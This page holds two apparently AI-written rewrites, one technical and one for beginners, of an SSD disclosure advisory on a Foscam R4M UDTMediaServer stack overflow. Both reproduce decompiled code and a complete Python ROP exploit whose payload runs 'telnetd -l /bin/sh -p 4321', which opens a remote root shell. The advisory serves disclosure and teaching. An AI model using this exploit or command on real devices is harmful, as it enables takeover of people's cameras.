Skip to content
Memory corruption Write-up Advanced

SSD Advisory – Foscam R4M UDTMediaServer Buffer Overflow

A stack-based buffer overflow in the UDTMediaServer binary of Foscam R4M cameras allows an attacker to execute arbitrary commands by sending a crafted packet to a randomly opened port.

Yoseop Kim Follow

Published on ssd-disclosure.com

A stack-based overflow exists in UDTMediaServer, one of the binaries running in the background in Foscam. This vulnerability could be exploited to execute any command.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Foscam R4M is a camera that runs a set of background services. One of those binaries is UDTMediaServer, which listens on a TCP port and parses packets sent by clients. The advisory describes a stack-based buffer overflow in that packet parsing path. According to the summary, the flaw could be exploited to execute any command.

The credit for the finding goes to Yoseop Kim working with SSD Labs Korea. The affected version is Foscam R4M running V-2.x.2.67.

Setup

The advisory does not describe a test account, a role or a particular toolchain beyond the exploit script itself. What it does show is the state of the device as observed from a shell on the camera, listing the listening sockets:

Text
/tmp # netstat -anltpu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 [redacted]:38611           [redacted]:*               LISTEN      878/UDTMediaServer
tcp        0      0 [redacted]:23              [redacted]:*               LISTEN      674/telnetd
tcp        0      0 [redacted]:888             [redacted]:*               LISTEN      2971/NVTService
tcp        0      0 [redacted]:88              [redacted]:*               LISTEN      997/lighttpd
tcp        0      0 [redacted]:443             [redacted]:*               LISTEN      997/lighttpd
tcp        0      0 [redacted]:65534           [redacted]:*               LISTEN      879/RtspServer
tcp        0    157 [redacted]:23         [redacted]:64083      ESTABLISHED 674/telnetd
tcp        0      0 [redacted]:34720         [redacted]:38155         ESTABLISHED 995/P2PProxy
tcp        0      0 [redacted]:55504      [redacted]:8884     ESTABLISHED 2978/IvyIot
tcp        0      0 [redacted]:38155         [redacted]:34720         ESTABLISHED 995/P2PProxy
udp        0      0 [redacted]:3702            [redacted]:*                           2971/NVTService
udp        0      0 [redacted]:10000           [redacted]:*                           875/devMng
udp        0      0 [redacted]:10001           [redacted]:*                           875/devMng
udp        0      0 [redacted]:42772           [redacted]:*                           878/UDTMediaServer
udp        0      0 [redacted]:41664      [redacted]:34781    ESTABLISHED 995/P2PProxy

UDTMediaServer is listening on TCP port 38611 in this capture. The advisory notes that the binary opens a port randomly when opening a socket, and because the rand() function is used there is a very high possibility of it opening ports over 30000. That matters for exploitation: the attacker has to find the port before sending anything.

Finding it

The researcher starts from the packet parsing loop. The received data is copied into a buffer, a per-socket counter is advanced by the received length, and then the loop walks the buffer looking for the FOSC magic:

Text
    memcpy(v11 + v10, pkt, recv_len);
    a1[sockType + 7691] += recv_len;
    v13 = 0;
    *s1 = 0;
    v14 = 0;
    v25 = 0;
    while ( 1 )
    {
      v15 = a1[sockType + 7691];
      if ( (v15 - v14) <= 0xB )
        break;
      srca = (v11 + v14);
      *s1 = *(v11 + v14 + 4);
      v21 = v15 - v14;
      if ( !strcmp(s1, "FOSC") )
      {
        v17 = srca[2] + 12;
        if ( v17 > v21 )
          break;
        v18 = v11 + v14;
        v14 += v17;
        srcb = (srca[2] + 12);
        memcpy(&unk_207950 + &a1[512 * sockType], v18, srcb);
        sub_28370(a1, fd, &unk_207950 + &a1[512 * sockType], srcb, sockType);
        ...
      }
     ...
     }

The loop checks for the string FOSC and for a byte that serves as a length. If the remaining length is determined to be less than 0xb, the loop exits. When a packet passes the check, it is copied to unk_207950 and handed to sub_28370.

The copied packet reaches a switch statement in sub_28370, where the first byte of the packet selects the handler:

Text
 if ( *a3 != 6 )
  {
    if ( (*(*(v13 + 4) + 8))(v14, a3 + 12) )
    {
      wirteLog(11, 1, "", "CUDTMediaServer.cpp", 2759, " DecData Error");
      return 0;
    }
    v8 = 0;
    v12 = v11;
LABEL_22:
    v15 = *a3;
    if ( *a3 == 9 )
    {
      sub_2133C(a1, a2, v12);
    }
    else if ( *a3 > 9u )
    {
      if ( v15 == 15 )
      {
        sub_21788(a1, a2, v12, v8, a5);
      }
      else if ( v15 > 0xF )
      {
        if ( v15 == 114 )
        {
          sub_256FC(a1, a2, v12, v8, a5);
        }
        else if ( v15 > 0x72 )
        {
          if ( v15 == 600 )
          {
            sub_2815C(a1, a2, v12, v8, a5);
          }
          else if ( v15 == 601 )
          {
            sub_24AEA(a1, a2, v12, v8, a5);
          }
        }
        else if ( v15 == 33 )
        {
          sub_24908(a1, a2, v12, v8, a5);
        }
        else if ( v15 == 36 )
        {
          sub_27504(a1, a2, v12, v8, a5);
        }
      }
      else if ( v15 == 11 )
      {
        sub_21414(a1, a2, v12, v8, a5);
      }
      else if ( v15 >= 0xB )
      {
        if ( v15 == 12 )
        {
          onGetInitInfo(a1, a2, v12, v8, a5); // call this
        }
        else if ( v15 == 14 )
        {
          sub_21708(a1, a2, v12, v8, a5);
        }
      }
      else
      {
        sub_213A8(a1, a2, v12, v8, a5);
      }
    }

Here a3 points to the packet's memory and v12 is a pointer to a3. A packet whose first byte is 12 lands in onGetInitInfo, which is the function the researcher focuses on.

Root cause

The vulnerable function is onGetInitInfo. Its stack frame is visible in the decompiled listing:

Text
void __fastcall onGetInitInfo(int a1, int a2, char *pkt, int a4, int a5)
{
  int v8; // r3
  int v9; // r3
  int v10; // r3
  pthread_mutex_t *v11; // r10
  char *v12; // r7
  int v13; // r0
  int v14; // r2
  int v15; // r8
  char *i; // r6
  int v17; // r2
  int v18; // r1
  char v19[32]; // [sp+58h] [bp+0h] BYREF
  char v20[104]; // [sp+78h] [bp+20h] BYREF
  int v21[2]; // [sp+E0h] [bp+88h] BYREF
  char dest[32]; // [sp+E8h] [bp+90h] BYREF
  char v23[64]; // [sp+108h] [bp+B0h] BYREF
  char v24[68]; // [sp+148h] [bp+F0h] BYREF
  int v25; // [sp+18Ch] [bp+134h]
  int v26; // [sp+19Ch] [bp+144h]
  char v27[500]; // [sp+1A0h] [bp+148h] BYREF
  int v28; // [sp+394h] [bp+33Ch] BYREF
  int v29; // [sp+398h] [bp+340h]
  int v30[2]; // [sp+39Ch] [bp+344h] BYREF
  int v31; // [sp+3A4h] [bp+34Ch]
  char v32[64]; // [sp+3BCh] [bp+364h] BYREF
  char v33[68]; // [sp+3FCh] [bp+3A4h] BYREF
  int v34; // [sp+440h] [bp+3E8h]
  int v35; // [sp+444h] [bp+3ECh]
  int v36; // [sp+450h] [bp+3F8h]
  char v37[496]; // [sp+454h] [bp+3FCh] BYREF
  int v38; // [sp+644h] [bp+5ECh]

  memset(v19, 0, sizeof(v19));
  sub_22C14(a1, a2, a5, v19);
  CAesEncrypt::CAesEncrypt(v27);
  v8 = *(pkt + 32);
  v21[0] = a2;
  v25 = v8;
  v21[1] = a5;
  v26 = 0;
  sub_239A0(a1, a5, v21);
  strcpy(dest, v19);
  strcpy(v23, pkt);
  strcpy(v24, pkt + 64);
  ...
}

The advisory shows only part of the function. The point is that pkt carries data retrieved from the user, and strcpy copies strings taken from that data into fixed-size stack buffers: dest[32], v23[64] and v24[68]. There is no length check before the copy, so a long enough field overwrites the stack. The advisory does not analyse how the parser's length check relates to the copies in onGetInitInfo.

Exploitation

The exploit is a single Python script that connects to the service and sends one crafted packet. The researcher's script defines four ROP gadgets and a popen address, all as offsets into the binary:

Python
import socket
import struct
import sys

HOST = str(sys.argv[1])
PORT = int(sys.argv[2])

def p32(x):
    return struct.pack("<I", x)

def main():
    gadget1 = 0x3701C  # add sp, sp, #0x10c, pop {r4,r5,r6,r7,pc}
    gadget2 = 0x54C58  # mov r1, r5; pop {r4, r5, pc};
    gadget3 = 0xBDD76  # add r3, sp, #0x2bc; pop {r4, r5, pc};
    gadget4 = 0x37D0C  # mov r0, r3; pop {r4, pc};

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))

    pkt = b"\x0c\x00\x00\x00"  # ID
    pkt += b"FOSC"  # magic
    pkt += p32(0x2BC - 140)  # len
    pkt += b"A" * 132
    pkt += b"B" * 4
    pkt += p32(gadget1 + 1)
    pkt += b"D" * (0x10C - 0xE4)  # padding
    pkt += b"aaaa"
    pkt += p32(0xE2E6D)  # string 'r'
    pkt += b"cccc"
    pkt += b"dddd"
    pkt += p32(gadget2 + 1)
    pkt += b"aaaabbbb"
    pkt += p32(gadget3 + 1)
    pkt += b"aaaabbbb"
    pkt += p32(gadget4 + 1)
    pkt += b"aaaa"
    pkt += p32(0x46254 + 1)  # popen
    pkt += b"A" * (0x2BC - 20)
    pkt += b"/usr/sbin/telnetd -l /bin/sh -p 4321\x00"

    sock.sendall(pkt)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit()
    main()

Step 1: find the listening port

UDTMediaServer binds a random port at startup, and the advisory states that because rand() is used, ports above 30000 are very likely. The netstat output above shows it on 38611. The attacker has to scan for it before the script can connect.

Step 2: build the packet header

The first four bytes are the ID that selects the handler in sub_28370:

Python
    pkt = b"\x0c\x00\x00\x00"  # ID
    pkt += b"FOSC"  # magic
    pkt += p32(0x2BC - 140)  # len

\x0c is 12, which routes the packet to onGetInitInfo. FOSC satisfies the magic check in the parsing loop. The length field is 0x2BC - 140, matching the size of the overflow the script needs.

Step 3: overwrite the saved return address

The next fields fill the stack buffers and then the saved registers and return address:

Python
    pkt += b"A" * 132
    pkt += b"B" * 4
    pkt += p32(gadget1 + 1)

Each gadget is written as gadget + 1, which is the Thumb address of the instruction (the low bit set selects Thumb state on ARM).

Step 4: chain the gadgets

The rest of the payload lays out the ROP chain:

Python
    pkt += b"D" * (0x10C - 0xE4)  # padding
    pkt += b"aaaa"
    pkt += p32(0xE2E6D)  # string 'r'
    pkt += b"cccc"
    pkt += b"dddd"
    pkt += p32(gadget2 + 1)
    pkt += b"aaaabbbb"
    pkt += p32(gadget3 + 1)
    pkt += b"aaaabbbb"
    pkt += p32(gadget4 + 1)
    pkt += b"aaaa"
    pkt += p32(0x46254 + 1)  # popen

The script defines four gadgets and a popen address, each with a comment describing the instructions.

Step 5: place the command and send

Python
    pkt += b"A" * (0x2BC - 20)
    pkt += b"/usr/sbin/telnetd -l /bin/sh -p 4321\x00"

    sock.sendall(pkt)

The payload ends with the string /usr/sbin/telnetd -l /bin/sh -p 4321. The advisory does not show the response from the device or a follow-up session; it states that the overflow could be exploited to execute any command, and the script demonstrates command execution through popen.

Impact

An attacker who can reach the UDTMediaServer port can send a crafted packet to the vulnerable parser; the advisory states the flaw could be exploited to execute any command. The advisory's summary states the vulnerability could be exploited to execute any command. The main precondition is network reachability of the random high port, which the attacker has to discover first. The advisory does not state whether authentication is required before the packet is parsed, so treat the exposure as depending on who can reach that port.

Fix

The vendor released an updated version. The advisory links to the firmware download page for the fix:

Text
https://www.foscam.com/downloads/firmware_details.html?id=143

No patch diff or code change is shown. The advisory gives no patch diff or code change; it only points to the updated firmware.

Variants to test

  • Other handlers in the same switch. The parser dispatches on the first byte to sub_2133C, sub_21788, sub_256FC, sub_2815C, sub_24AEA, sub_24908, sub_27504, sub_21414, onGetInitInfo, sub_21708 and sub_213A8. Send a FOSC packet with each ID and oversized fields; a crash or a controlled PC means the same class of bug exists there.
  • Other strcpy sites in onGetInitInfo. The listing shows three copies (dest, v23, v24). Vary the length of the data at pkt and pkt + 64 independently; a crash at a different offset than the one used here indicates a separate overflow.
  • Length field edge cases. The loop exits when the remaining bytes are <= 0xB and when srca[2] + 12 exceeds the remaining length. Try lengths just below and above those boundaries; a handler reached with a truncated buffer is a sign of a missing check.
  • Port discovery. On other Foscam models, check whether UDTMediaServer also binds a random high port and whether the same FOSC magic and ID 12 reach an equivalent function. A positive result is a listening port that accepts the crafted packet and crashes or redirects execution.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

A Foscam R4M is a small security camera that you connect to your home network. Like most cameras of this kind, it does not just sit there: it runs several small programs in the background that handle different jobs, such as serving the web page you see in your browser, streaming video, or talking to the phone app. One of those background programs is called UDTMediaServer. It waits for other computers to connect to it over the network and send it messages, which it then reads and acts on.

The advisory describes a bug in the way UDTMediaServer reads those messages. The program copies parts of an incoming message into small, fixed-size areas of memory using strcpy, which does not limit the copy length. If someone sends a message with a very long field, the copy spills over the edge of the small area and overwrites neighbouring memory. This kind of bug is called a buffer overflow. The summary says the flaw could be exploited to execute any command.

The finding is credited to Yoseop Kim working with SSD Labs Korea. The affected version is Foscam R4M running V-2.x.2.67. The vendor has released an updated version.

Setup

The advisory does not describe a test account, a role or a particular toolchain beyond the exploit script itself. What it does show is the state of the device as observed from a shell on the camera, listing the network sockets that are open and waiting for connections:

Text
/tmp # netstat -anltpu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 [redacted]:38611           [redacted]:*               LISTEN      878/UDTMediaServer
tcp        0      0 [redacted]:23              [redacted]:*               LISTEN      674/telnetd
tcp        0      0 [redacted]:888             [redacted]:*               LISTEN      2971/NVTService
tcp        0      0 [redacted]:88              [redacted]:*               LISTEN      997/lighttpd
tcp        0      0 [redacted]:443             [redacted]:*               LISTEN      997/lighttpd
tcp        0      0 [redacted]:65534           [redacted]:*               LISTEN      879/RtspServer
tcp        0    157 [redacted]:23         [redacted]:64083      ESTABLISHED 674/telnetd
tcp        0      0 [redacted]:34720         [redacted]:38155         ESTABLISHED 995/P2PProxy
tcp        0      0 [redacted]:55504      [redacted]:8884     ESTABLISHED 2978/IvyIot
tcp        0      0 [redacted]:38155         [redacted]:34720         ESTABLISHED 995/P2PProxy
udp        0      0 [redacted]:3702            [redacted]:*                           2971/NVTService
udp        0      0 [redacted]:10000           [redacted]:*                           875/devMng
udp        0      0 [redacted]:10001           [redacted]:*                           875/devMng
udp        0      0 [redacted]:42772           [redacted]:*                           878/UDTMediaServer
udp        0      0 [redacted]:41664      [redacted]:34781    ESTABLISHED 995/P2PProxy

What is this output? netstat is a standard command that lists network connections. Think of a port as a numbered door on a computer: a program that wants to receive connections opens a door with a number and waits behind it. The LISTEN state means the program is waiting for someone to knock. The Local Address column shows the door number after the colon, so [redacted]:38611 means "any network address, door 38611". The PID/Program name column tells you which program owns the door.

In this capture, UDTMediaServer is listening on TCP port 38611. TCP is one of the two main ways computers send data to each other; it is the reliable one, where the two sides first agree on a connection and then exchange data in order, like a phone call. The advisory notes that the binary opens a port randomly when opening a socket, and because the rand() function is used there is a very high possibility of it opening ports over 30000. rand() is a function that produces pseudo-random numbers; a program can use it to pick a number, for example to choose which door to open. That matters for exploitation: the attacker has to find the port before sending anything, because you cannot knock on a door if you do not know its number.

Finding it

The researcher starts from the packet parsing loop. A packet is one chunk of data sent over the network, like one envelope in the post. Parsing means reading that chunk and working out what it contains, the way you open an envelope and read the letter inside. The received data is copied into a buffer, a per-socket counter is advanced by the received length, and then the loop walks the buffer looking for the FOSC magic:

Text
    memcpy(v11 + v10, pkt, recv_len);
    a1[sockType + 7691] += recv_len;
    v13 = 0;
    *s1 = 0;
    v14 = 0;
    v25 = 0;
    while ( 1 )
    {
      v15 = a1[sockType + 7691];
      if ( (v15 - v14) <= 0xB )
        break;
      srca = (v11 + v14);
      *s1 = *(v11 + v14 + 4);
      v21 = v15 - v14;
      if ( !strcmp(s1, "FOSC") )
      {
        v17 = srca[2] + 12;
        if ( v17 > v21 )
          break;
        v18 = v11 + v14;
        v14 += v17;
        srcb = (srca[2] + 12);
        memcpy(&unk_207950 + &a1[512 * sockType], v18, srcb);
        sub_28370(a1, fd, &unk_207950 + &a1[512 * sockType], srcb, sockType);
        ...
      }
     ...
     }

Line by line, in plain words:

  • memcpy(v11 + v10, pkt, recv_len); copies the freshly received data (pkt, recv_len bytes long) into a working buffer. memcpy is a standard function that copies a block of bytes from one place to another, like moving a stack of papers from one desk to another.
  • a1[sockType + 7691] += recv_len; adds the number of bytes just received to a running total kept for this connection, so the program knows how much data is waiting to be processed.
  • The next few lines reset some variables to zero before the loop starts.
  • while ( 1 ) starts a loop that runs until something inside it says break.
  • v15 = a1[sockType + 7691]; reads the running total again.
  • if ( (v15 - v14) <= 0xB ) break; stops the loop if there are 11 bytes or fewer left to look at. 0xB is hexadecimal for 11. The program needs at least a small header before it can make sense of anything.
  • srca = (v11 + v14); points at the current position in the buffer.
  • *s1 = *(v11 + v14 + 4); reads a value from a fixed position in the current chunk.
  • if ( !strcmp(s1, "FOSC") ) compares the value against the string FOSC. strcmp compares two strings and returns zero when they are equal. FOSC is a magic value: a fixed marker the program expects at the start of a valid message, like a stamp on an envelope that proves it is genuine.
  • v17 = srca[2] + 12; computes a length value from the chunk and adds 12 to it.
  • if ( v17 > v21 ) break; stops if the declared length is larger than the data actually remaining, so a message cannot claim to be longer than it is.
  • memcpy(&unk_207950 + &a1[512 * sockType], v18, srcb); copies the chunk into a per-connection area of memory.
  • sub_28370(...) hands that copied chunk to another function for further processing.

The loop checks for the string FOSC and for a byte that serves as a length. If the remaining length is determined to be less than 0xb, the loop exits. When a packet passes the check, it is copied to unk_207950 and handed to sub_28370.

The copied packet reaches a switch statement in sub_28370, where the first byte of the packet selects the handler:

Text
 if ( *a3 != 6 )
  {
    if ( (*(*(v13 + 4) + 8))(v14, a3 + 12) )
    {
      wirteLog(11, 1, "", "CUDTMediaServer.cpp", 2759, " DecData Error");
      return 0;
    }
    v8 = 0;
    v12 = v11;
LABEL_22:
    v15 = *a3;
    if ( *a3 == 9 )
    {
      sub_2133C(a1, a2, v12);
    }
    else if ( *a3 > 9u )
    {
      if ( v15 == 15 )
      {
        sub_21788(a1, a2, v12, v8, a5);
      }
      else if ( v15 > 0xF )
      {
        if ( v15 == 114 )
        {
          sub_256FC(a1, a2, v12, v8, a5);
        }
        else if ( v15 > 0x72 )
        {
          if ( v15 == 600 )
          {
            sub_2815C(a1, a2, v12, v8, a5);
          }
          else if ( v15 == 601 )
          {
            sub_24AEA(a1, a2, v12, v8, a5);
          }
        }
        else if ( v15 == 33 )
        {
          sub_24908(a1, a2, v12, v8, a5);
        }
        else if ( v15 == 36 )
        {
          sub_27504(a1, a2, v12, v8, a5);
        }
      }
      else if ( v15 == 11 )
      {
        sub_21414(a1, a2, v12, v8, a5);
      }
      else if ( v15 >= 0xB )
      {
        if ( v15 == 12 )
        {
          onGetInitInfo(a1, a2, v12, v8, a5); // call this
        }
        else if ( v15 == 14 )
        {
          sub_21708(a1, a2, v12, v8, a5);
        }
      }
      else
      {
        sub_213A8(a1, a2, v12, v8, a5);
      }
    }

What is happening here? A switch statement is a way of choosing one path out of many based on a value, like a railway junction where the track a train takes depends on its number. Here the value is the first byte of the packet, *a3. The code compares it against a series of numbers: 9, 15, 114, 600, 601, 33, 36, 11, 12, 14. Each number leads to a different function, and each function handles a different kind of message. The comment // call this marks the branch the researcher cares about: when the first byte is 12, the program calls onGetInitInfo.

Here a3 points to the packet's memory and v12 is a pointer to a3. A pointer is a variable that holds the address of something else in memory, like a note that says "the document you want is in drawer 3" rather than the document itself.

Root cause

The vulnerable function is onGetInitInfo. Its stack frame is visible in the decompiled listing:

Text
void __fastcall onGetInitInfo(int a1, int a2, char *pkt, int a4, int a5)
{
  int v8; // r3
  int v9; // r3
  int v10; // r3
  pthread_mutex_t *v11; // r10
  char *v12; // r7
  int v13; // r0
  int v14; // r2
  int v15; // r8
  char *i; // r6
  int v17; // r2
  int v18; // r1
  char v19[32]; // [sp+58h] [bp+0h] BYREF
  char v20[104]; // [sp+78h] [bp+20h] BYREF
  int v21[2]; // [sp+E0h] [bp+88h] BYREF
  char dest[32]; // [sp+E8h] [bp+90h] BYREF
  char v23[64]; // [sp+108h] [bp+B0h] BYREF
  char v24[68]; // [sp+148h] [bp+F0h] BYREF
  int v25; // [sp+18Ch] [bp+134h]
  int v26; // [sp+19Ch] [bp+144h]
  char v27[500]; // [sp+1A0h] [bp+148h] BYREF
  int v28; // [sp+394h] [bp+33Ch] BYREF
  int v29; // [sp+398h] [bp+340h]
  int v30[2]; // [sp+39Ch] [bp+344h] BYREF
  int v31; // [sp+3A4h] [bp+34Ch]
  char v32[64]; // [sp+3BCh] [bp+364h] BYREF
  char v33[68]; // [sp+3FCh] [bp+3A4h] BYREF
  int v34; // [sp+440h] [bp+3E8h]
  int v35; // [sp+444h] [bp+3ECh]
  int v36; // [sp+450h] [bp+3F8h]
  char v37[496]; // [sp+454h] [bp+3FCh] BYREF
  int v38; // [sp+644h] [bp+5ECh]

  memset(v19, 0, sizeof(v19));
  sub_22C14(a1, a2, a5, v19);
  CAesEncrypt::CAesEncrypt(v27);
  v8 = *(pkt + 32);
  v21[0] = a2;
  v25 = v8;
  v21[1] = a5;
  v26 = 0;
  sub_239A0(a1, a5, v21);
  strcpy(dest, v19);
  strcpy(v23, pkt);
  strcpy(v24, pkt + 64);
  ...
}

It is not perfect, but it is readable.

What is the stack? When a program calls a function, it sets aside a small area of memory for that function to keep its local variables in. This area is called the stack frame. Think of it as a desk you clear before starting a task: you put your papers on it, and when you are done you clear it again. The listing shows the local variables and their sizes: dest[32] is a 32-byte box, v23[64] is a 64-byte box, v24[68] is a 68-byte box, and so on. The comments like [sp+E8h] are the offsets from the stack pointer, which is the marker for where the current frame begins.

The advisory shows only part of the function. The point is that pkt carries data retrieved from the user, and strcpy copies strings taken from that data into fixed-size stack buffers: dest[32], v23[64] and v24[68]. strcpy is a standard function that copies a string from one place to another and stops only when it reaches a zero byte. It has no idea how big the destination is. If the source string is longer than the destination box, the extra bytes spill over into whatever comes next on the stack. There is no length check before the copy, so a long enough field overwrites the stack. The advisory does not analyse how the parser's length check relates to the copies in onGetInitInfo.

Exploitation

The exploit is a single Python script that connects to the service and sends one crafted packet. Python is a programming language often used for quick scripts. The researcher's script defines four ROP gadgets and a popen address, all as offsets into the binary:

Python
import socket
import struct
import sys

HOST = str(sys.argv[1])
PORT = int(sys.argv[2])

def p32(x):
    return struct.pack("<I", x)

def main():
    gadget1 = 0x3701C  # add sp, sp, #0x10c, pop {r4,r5,r6,r7,pc}
    gadget2 = 0x54C58  # mov r1, r5; pop {r4, r5, pc};
    gadget3 = 0xBDD76  # add r3, sp, #0x2bc; pop {r4, r5, pc};
    gadget4 = 0x37D0C  # mov r0, r3; pop {r4, pc};

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))

    pkt = b"\x0c\x00\x00\x00"  # ID
    pkt += b"FOSC"  # magic
    pkt += p32(0x2BC - 140)  # len
    pkt += b"A" * 132
    pkt += b"B" * 4
    pkt += p32(gadget1 + 1)
    pkt += b"D" * (0x10C - 0xE4)  # padding
    pkt += b"aaaa"
    pkt += p32(0xE2E6D)  # string 'r'
    pkt += b"cccc"
    pkt += b"dddd"
    pkt += p32(gadget2 + 1)
    pkt += b"aaaabbbb"
    pkt += p32(gadget3 + 1)
    pkt += b"aaaabbbb"
    pkt += p32(gadget4 + 1)
    pkt += b"aaaa"
    pkt += p32(0x46254 + 1)  # popen
    pkt += b"A" * (0x2BC - 20)
    pkt += b"/usr/sbin/telnetd -l /bin/sh -p 4321\x00"

    sock.sendall(pkt)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit()
    main()

Before going through it, two ideas need explaining.

A ROP gadget (Return-Oriented Programming) is a tiny snippet of code that already exists inside the program, usually just a few instructions ending in a return. An attacker who can overwrite the return address on the stack can make the program jump to these snippets one after another, chaining them together like a sequence of dominoes, to do something the original program never intended. Each gadget does one small thing, such as moving a value into a register or adjusting the stack pointer.

A register is a tiny, very fast storage slot inside the processor. The names r0, r1, r3, r4, r5, sp and pc refer to specific registers. sp is the stack pointer, pc is the program counter (which holds the address of the next instruction to run), and r0 and r1 are commonly used to pass the first and second arguments to a function.

popen is a standard C library function that runs a shell command and gives you a way to read its output. If an attacker can call popen with a command of their choosing, they can run that command on the device.

Now the script itself:

  • import socket, import struct, import sys load three Python modules: one for network connections, one for packing numbers into bytes, and one for reading command-line arguments.
  • HOST = str(sys.argv[1]) and PORT = int(sys.argv[2]) take the target address and port from the command line, so the script can be pointed at any device.
  • def p32(x): return struct.pack("<I", x) defines a helper that turns a number into 4 bytes in little-endian order. Little-endian means the least significant byte comes first, which is how this processor stores numbers in memory. The script needs this because it is building a raw packet byte by byte.
  • The four gadget lines define the addresses of the ROP gadgets, with comments describing what each one does.
  • sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) creates a TCP socket, and sock.connect((HOST, PORT)) opens the connection to the camera.
  • The pkt lines build the malicious packet, which we will go through step by step below.
  • sock.sendall(pkt) sends the whole packet.
  • The if __name__ == "__main__": block checks that the script was given exactly two arguments and then calls main().

Step 1: find the listening port

UDTMediaServer binds a random port at startup, and the advisory states that because rand() is used, ports above 30000 are very likely. The netstat output above shows it on 38611. The attacker has to scan for it before the script can connect. Scanning means trying a range of port numbers to see which ones answer, like walking down a corridor knocking on every door until someone replies.

Step 2: build the packet header

The first four bytes are the ID that selects the handler in sub_28370:

Python
    pkt = b"\x0c\x00\x00\x00"  # ID
    pkt += b"FOSC"  # magic
    pkt += p32(0x2BC - 140)  # len
  • b"\x0c\x00\x00\x00" is four bytes: 0x0c, then three zero bytes. \x0c is 12 in hexadecimal, which routes the packet to onGetInitInfo. The three zero bytes pad it out to a 4-byte field, matching how the program reads the ID.
  • b"FOSC" satisfies the magic check in the parsing loop, so the packet is accepted as genuine.
  • p32(0x2BC - 140) writes the length field. 0x2BC is 700 in decimal, so the value is 560. The comment says this matches the size of the overflow the script needs.

Step 3: overwrite the saved return address

The next fields fill the stack buffers and then the saved registers and return address:

Python
    pkt += b"A" * 132
    pkt += b"B" * 4
    pkt += p32(gadget1 + 1)
  • The frame pointer is a marker that records where the current function's stack frame begins, so the program can find its way back when the function returns.
  • The return address is the place the program will jump to when the function finishes, like a return address on an envelope telling the postal service where to send the reply. Overwriting it is the whole point of the attack: instead of returning to the normal caller, the program returns to the attacker's chosen gadget.
  • Each gadget is written as gadget + 1, which is the Thumb address of the instruction. Thumb is a compact instruction set used by many ARM processors. On ARM, the lowest bit of an address is used as a flag: setting it to 1 tells the processor to interpret the code as Thumb. The ARM processor is the family of chips this camera uses.

Step 4: chain the gadgets

The rest of the payload lays out the ROP chain:

Python
    pkt += b"D" * (0x10C - 0xE4)  # padding
    pkt += b"aaaa"
    pkt += p32(0xE2E6D)  # string 'r'
    pkt += b"cccc"
    pkt += b"dddd"
    pkt += p32(gadget2 + 1)
    pkt += b"aaaabbbb"
    pkt += p32(gadget3 + 1)
    pkt += b"aaaabbbb"
    pkt += p32(gadget4 + 1)
    pkt += b"aaaa"
    pkt += p32(0x46254 + 1)  # popen
  • b"D" * (0x10C - 0xE4) is marked in the script as padding.
  • p32(0xE2E6D) places the address of the string r, as the script's comment notes.
  • p32(gadget2 + 1) chains gadget 2, commented mov r1, r5; pop {r4, r5, pc}.
  • b"aaaabbbb" provides the values for those two pops.
  • p32(gadget3 + 1) chains gadget 3, commented add r3, sp, #0x2bc; pop {r4, r5, pc}.
  • b"aaaabbbb" again provides the values for those pops.
  • p32(gadget4 + 1) chains gadget 4, commented mov r0, r3; pop {r4, pc}.
  • b"aaaa" provides the value for that pop.
  • p32(0x46254 + 1) is the address of popen, again with the low bit set for Thumb. The chain then returns into popen.

The script defines four gadgets and a popen address, each with a comment describing the instructions.

Step 5: place the command and send

Python
    pkt += b"A" * (0x2BC - 20)
    pkt += b"/usr/sbin/telnetd -l /bin/sh -p 4321\x00"

    sock.sendall(pkt)
  • b"A" * (0x2BC - 20) is more padding before the command string.
  • b"/usr/sbin/telnetd -l /bin/sh -p 4321\x00" is the command itself, ending in a zero byte so popen knows where the string stops. telnetd is a program that accepts telnet connections, and -l /bin/sh tells it to use the shell as the login program. -p 4321 tells it to listen on port 4321. /bin/sh is the standard command shell. The payload ends with the string /usr/sbin/telnetd -l /bin/sh -p 4321.
  • sock.sendall(pkt) sends the finished packet.

The advisory does not show the response from the device or a follow-up session; it states that the overflow could be exploited to execute any command, and the script demonstrates command execution through popen.

Impact

An attacker who can reach the UDTMediaServer port can send a crafted packet to the vulnerable parser; the advisory states the flaw could be exploited to execute any command. The advisory's summary states the vulnerability could be exploited to execute any command. The main precondition is network reachability of the random high port, which the attacker has to discover first. The advisory does not state whether authentication is required before the packet is parsed, so treat the exposure as depending on who can reach that port.

Fix

The vendor released an updated version. The advisory links to the firmware download page for the fix:

Text
https://www.foscam.com/downloads/firmware_details.html?id=143

Firmware is the software built into a device like a camera; updating it is like installing a new version of an app on your phone. No patch diff or code change is shown. The advisory gives no patch diff or code change; it only points to the updated firmware.

Variants to test

  • Other handlers in the same switch. The parser dispatches on the first byte to sub_2133C, sub_21788, sub_256FC, sub_2815C, sub_24AEA, sub_24908, sub_27504, sub_21414, onGetInitInfo, sub_21708 and sub_213A8. Send a FOSC packet with each ID and oversized fields; a crash or a controlled PC means the same class of bug exists there.
  • Other strcpy sites in onGetInitInfo. The listing shows three copies (dest, v23, v24). Vary the length of the data at pkt and pkt + 64 independently; a crash at a different offset than the one used here indicates a separate overflow.
  • Length field edge cases. The loop exits when the remaining bytes are <= 0xB and when srca[2] + 12 exceeds the remaining length. Try lengths just below and above those boundaries; a handler reached with a truncated buffer is a sign of a missing check.
  • Port discovery. On other Foscam models, check whether UDTMediaServer also binds a random high port and whether the same FOSC magic and ID 12 reach an equivalent function. A positive result is a listening port that accepts the crafted packet and crashes or redirects execution.

Glossary

  • Buffer: a fixed-size area of memory set aside to hold data.
  • Buffer overflow: a bug where more data is written into a buffer than it can hold, so the extra bytes spill into neighbouring memory.
  • Stack: the area of memory a program uses to keep track of function calls and their local variables.
  • Stack frame: the block of stack memory belonging to one function call.
